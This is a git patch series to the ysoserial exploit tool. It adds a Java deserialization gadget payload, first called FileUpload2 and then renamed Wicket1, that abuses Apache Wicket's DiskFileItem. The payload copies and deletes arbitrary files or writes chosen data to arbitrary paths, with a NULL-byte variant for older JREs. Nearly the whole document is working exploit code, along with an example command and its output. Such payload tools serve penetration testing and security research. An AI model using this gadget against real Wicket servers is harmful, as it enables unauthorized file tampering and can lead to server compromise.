From 6f3dd217c71d9f360cd654eac58c9673eb4a5a7b Mon Sep 17 00:00:00 2001 From: Jacob Baines Date: Mon, 25 Jul 2016 14:15:39 -0400 Subject: [PATCH 1/2] Created FileUpload2 based on Apache Wicket's version of DiskFileItem. Also changed FileUpload1 to support Windows filepaths --- pom.xml | 5 + .../java/ysoserial/payloads/FileUpload1.java | 12 +- .../java/ysoserial/payloads/FileUpload2.java | 111 ++++++++++++++++++ 3 files changed, 122 insertions(+), 6 deletions(-) create mode 100644 src/main/java/ysoserial/payloads/FileUpload2.java diff --git a/pom.xml b/pom.xml index b216df0..d82c1f4 100644 --- a/pom.xml +++ b/pom.xml @@ -222,6 +222,11 @@ commons-fileupload 1.3 + + org.apache.wicket + wicket-util + 6.23.0 + com.mchange c3p0 diff --git a/src/main/java/ysoserial/payloads/FileUpload1.java b/src/main/java/ysoserial/payloads/FileUpload1.java index ef88c8e..33bbee2 100644 --- a/src/main/java/ysoserial/payloads/FileUpload1.java +++ b/src/main/java/ysoserial/payloads/FileUpload1.java @@ -22,11 +22,11 @@ import ysoserial.payloads.util.Reflections; * DiskFileItem.readObject() * * Arguments: - * - copyAndDelete:sourceFile:destDir - * - write:destDir:ascii-data - * - writeB64:destDir:base64-data - * - writeOld:destFile:ascii-data - * - writeOldB64:destFile:base64-data + * - copyAndDelete;sourceFile;destDir + * - write;destDir;ascii-data + * - writeB64;destDir;base64-data + * - writeOld;destFile;ascii-data + * - writeOldB64;destFile;base64-data * * Yields: * - copy an arbitraty file to an arbitrary directory (source file is deleted if possible) @@ -44,7 +44,7 @@ public class FileUpload1 implements ReleaseableObjectPayload { public DiskFileItem getObject ( String command ) throws Exception { - String[] parts = command.split(":"); + String[] parts = command.split(";"); if ( parts.length == 3 && "copyAndDelete".equals(parts[ 0 ]) ) { return copyAndDelete(parts[ 1 ], parts[ 2 ]); diff --git a/src/main/java/ysoserial/payloads/FileUpload2.java b/src/main/java/ysoserial/payloads/FileUpload2.java new file mode 100644 index 0000000..3b152cd --- /dev/null +++ b/src/main/java/ysoserial/payloads/FileUpload2.java @@ -0,0 +1,111 @@ +package ysoserial.payloads; + + +import java.io.File; +import java.io.IOException; +import java.io.OutputStream; +import java.util.Arrays; + +import org.apache.commons.codec.binary.Base64; +import org.apache.wicket.util.upload.DiskFileItem; +import org.apache.wicket.util.io.DeferredFileOutputStream; +import org.apache.wicket.util.io.ThresholdingOutputStream; + +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.util.PayloadRunner; +import ysoserial.payloads.util.Reflections; + + +/** + * This gadget is almost identical to FileUpload1 since it appears + * that Apache Wicket copied a version of Apache Commons DiskFileItem + * prior to Pierre Ernst reporting CVE-2013-2186 (NULL byte attack). That + * means that if the target is running less than Oracle Java 7 update 40 + * then the NULL byte attack is viable. Otherwise, copy and move attacks + * always work. + * + * This attack is valid for the 1.x and 6.x lines of Apache Wicket but + * was fixed in 1.5.16 and 6.24.0 (released July 2016). + * + * + * Arguments: + * - copyAndDelete;sourceFile;destDir + * - write;destDir;ascii-data + * - writeB64;destDir;base64-data + * - writeOld;destFile;ascii-data + * - writeOldB64;destFile;base64-data + * + * Example: + * FileUpload2 "write;/tmp;blue lobster" + * + * Result: + * $ ls -l /tmp/ + * -rw-rw-r-- 1 albino_lobster albino_lobster 12 Jul 25 14:10 upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp + * $ cat /tmp/upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp + * blue lobster + */ +@Dependencies({"wicket-util:wicket-util:6.23"}) +public class FileUpload2 implements ReleaseableObjectPayload { + + public DiskFileItem getObject(String command) throws Exception { + + String[] parts = command.split(";"); + + if (parts.length != 3) { + throw new IllegalArgumentException("Bad command format."); + } + + if ("copyAndDelete".equals(parts[0])) { + return copyAndDelete(parts[1], parts[2]); + } + else if ("write".equals(parts[0])) { + return write(parts[1], parts[2].getBytes("US-ASCII")); + } + else if ("writeB64".equals(parts[0]) ) { + return write(parts[1], Base64.decodeBase64(parts[2])); + } + else if ("writeOld".equals(parts[0]) ) { + return writeOldJRE(parts[1], parts[2].getBytes("US-ASCII")); + } + else if ("writeOldB64".equals(parts[0]) ) { + return writeOldJRE(parts[1], Base64.decodeBase64(parts[2])); + } + throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts)); + } + + public void release(DiskFileItem obj) throws Exception { + } + + private static DiskFileItem copyAndDelete ( String copyAndDelete, String copyTo ) throws IOException, Exception { + return makePayload(0, copyTo, copyAndDelete, new byte[1]); + } + + // writes data to a random filename (update__.tmp) + private static DiskFileItem write ( String dir, byte[] data ) throws IOException, Exception { + return makePayload(data.length + 1, dir, dir + "/whatever", data); + } + + // writes data to an arbitrary file + private static DiskFileItem writeOldJRE(String file, byte[] data) throws IOException, Exception { + return makePayload(data.length + 1, file + "\0", file, data); + } + + private static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws IOException, Exception { + // if thresh < written length, delete outputFile after copying to repository temp file + // otherwise write the contents to repository temp file + File repository = new File(repoPath); + DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository, null); + File outputFile = new File(filePath); + DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile); + OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream"); + os.write(data); + Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length); + Reflections.setFieldValue(diskFileItem, "dfos", dfos); + Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0); + return diskFileItem; + } + + public static void main ( final String[] args ) throws Exception { + PayloadRunner.run(FileUpload1.class, args); + } +} \ No newline at end of file From d8bef9642a46a844b9a213b4d3728d39775dc6dc Mon Sep 17 00:00:00 2001 From: Jacob Baines Date: Thu, 28 Jul 2016 09:03:05 -0400 Subject: [PATCH 2/2] Rename FileUpload2 to Wicket1 --- .../ysoserial/payloads/{FileUpload2.java => Wicket1.java} | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) rename src/main/java/ysoserial/payloads/{FileUpload2.java => Wicket1.java} (97%) diff --git a/src/main/java/ysoserial/payloads/FileUpload2.java b/src/main/java/ysoserial/payloads/Wicket1.java similarity index 97% rename from src/main/java/ysoserial/payloads/FileUpload2.java rename to src/main/java/ysoserial/payloads/Wicket1.java index 3b152cd..4aa62c8 100644 --- a/src/main/java/ysoserial/payloads/FileUpload2.java +++ b/src/main/java/ysoserial/payloads/Wicket1.java @@ -36,7 +36,7 @@ import ysoserial.payloads.util.Reflections; * - writeOldB64;destFile;base64-data * * Example: - * FileUpload2 "write;/tmp;blue lobster" + * Wicket1 "write;/tmp;blue lobster" * * Result: * $ ls -l /tmp/ @@ -45,7 +45,7 @@ import ysoserial.payloads.util.Reflections; * blue lobster */ @Dependencies({"wicket-util:wicket-util:6.23"}) -public class FileUpload2 implements ReleaseableObjectPayload { +public class Wicket1 implements ReleaseableObjectPayload { public DiskFileItem getObject(String command) throws Exception {